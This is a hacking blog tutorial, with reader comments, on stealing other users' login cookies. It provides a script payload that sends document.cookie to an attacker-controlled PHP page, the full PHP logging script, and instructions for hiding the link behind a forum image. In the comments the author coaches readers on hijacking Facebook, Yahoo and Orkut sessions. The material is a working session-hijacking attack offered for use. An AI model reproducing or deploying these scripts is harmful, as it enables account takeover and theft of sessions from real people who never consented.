How to steal a remote computer's Cookies to hack ids
Hey,with this cookie logging trick you hack hack anyone’s account at any point of time you just have to do one thing,you gotto send send him to a link which has the potential to log cookies.To fast…… huh ?Ok lets go one by one.
Here’s what to do
1.First you have to create a file which can capture a person’s cookie.So follow the following process.
a.Copy the code which is given below .
<script>location.href=’http://www.hack-genius.blogspot.com/cookielogger.php?cookie=’+escape(document.cookie)</SCRIPT>
b.Now you have to change “http://hack-genius.blogspot.com” to your your site.
c.Remember one thing you should not upload the files into a directory.
d.Now open notepad and paste the script in it and save it as fun.gif
2.Ok,now you gotto create a key logger which can store the captured cookie file and the script is given below.This is a .php script (quite simple huh ?)
<?php
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
a.Now just save this as “cookielogger.php” .Do not edit anything.
3.Now you just have to create a plane empty text document and save it as logfile.txt
4.Now you are ready with the cookie stealing process.Now you have to get registered with a free webhosting site such as www.110mb.com or www.t35.com with supports .php file hosting.
5.After you have done this you have 75% finished it.Now upload the files (not into a directory) and save it .You gotto upload it like this
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif
6.Now test it by placing it in a forum and insert this code in the signature or a post or where you can Smile !OR else you can just blindly use this in you forum by replacing the ones in red with your website URL.
[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]
So the person who click it will think it is fun.jpg but it redirects to fun.gif
7.So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt
8.And something like this will be stored in your “logfile.txt”
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9
9.If you want to know how to use it you gotto download the firefox addon and with this you can finish the job neatly
Thats it !
Related posts:
- Find the IP Address of a Remote or Victim's Computer using .php file ...
- Hack(steal) all kinds of stored passwords using a Pendrive ...
- Hack Tagged.com Passwords through Fake login page/script ...
- Hack Tagged.com Passwords through Fake login page/script ...
- TeamViewer:Hack any Remote Servers or PCs ...
- How to Send Anonymous Emails ...
- How to Find the IP Address of a Remote Computer ...
- Find the IP Address of a Remote or Victim's Computer using .php file ...










this technique only workin if only we are know if the victim is still online right?,..its a session hijacking,.if the victim is alrady log off,jsut wondering if the cookies that we got will still work?sorry for the language
YEs ! the cookies won't work if he logs off because the cookie gets erased !!
i cant do it dude.. can you help me…
can you explain mor further?? sorry
its not working to me dude… the cookies is not saving in the logfile.txt… can you help me?>???
Contact me via e-mailhack.genius@yahoo.in
can i use this in fb or yahoo???
Yes you can !
it does not get the cookie of facebook and yahoo.. just forums….
If you want from sites then rename fun.gif to fun.php !
i just get cookie like this… i cant get facebook cookies…. lol…
try using a cookie edit and the code which your trying to show has embedded !
how do i upload without puttin it in a directory
i cant understand step6please elaborate it my mail idyadavamarnath1234@gmail.comi m deeply impressed by ur phishing trick
i am experiencing some problems. when i click on the image and go to fun.gif, it just displays the script as text. how can i fix this?
@djinnYou gotto register in a forum and place this code…this works only for forums !
@Lih ManThe code should be inserted in a orum…but you can try renaming fun.gif to fun.php…in that it works perfectly !
It doesn't work! When I test it myslef…itll steal my cookies. But wen other ppl visit my site it doesnt work! please help
This works only if a person comes through a forum..if you want to embed it in your site then you gotta rename fun.gif to fun.php
kindly explain 6th step……….
[url=http://www.orkutupgrade.frehostia.com/fun.gif][img]http://orkutupgrade.freehostia.com/fun.jpg[/img][/url]
@djthe code that i have provided can be placed in your forum id's signature column so that when a person clicks on it it redirects to your site !Anonymous has shown a good example !
random newbie question:the information that will be stored into the logme.txt will containt every passwords that has been ever saved on someones computer or not?thanks!
No the password does not get stored but the temporary cookie.You can search about cookies on Google !
can i do it with orkutif i post the code on orkut i doesnt display anythingwhy???????????????
it will not display anything…but when anyone clicks on it it redirect to your cookielogger.php page !
hi sir am facing the following probs 1) can u tell me what is this (chmood777)2) also aslo help me in step 63) after making the link, can we send it to any person?i'd be gratefull if u help me! thanks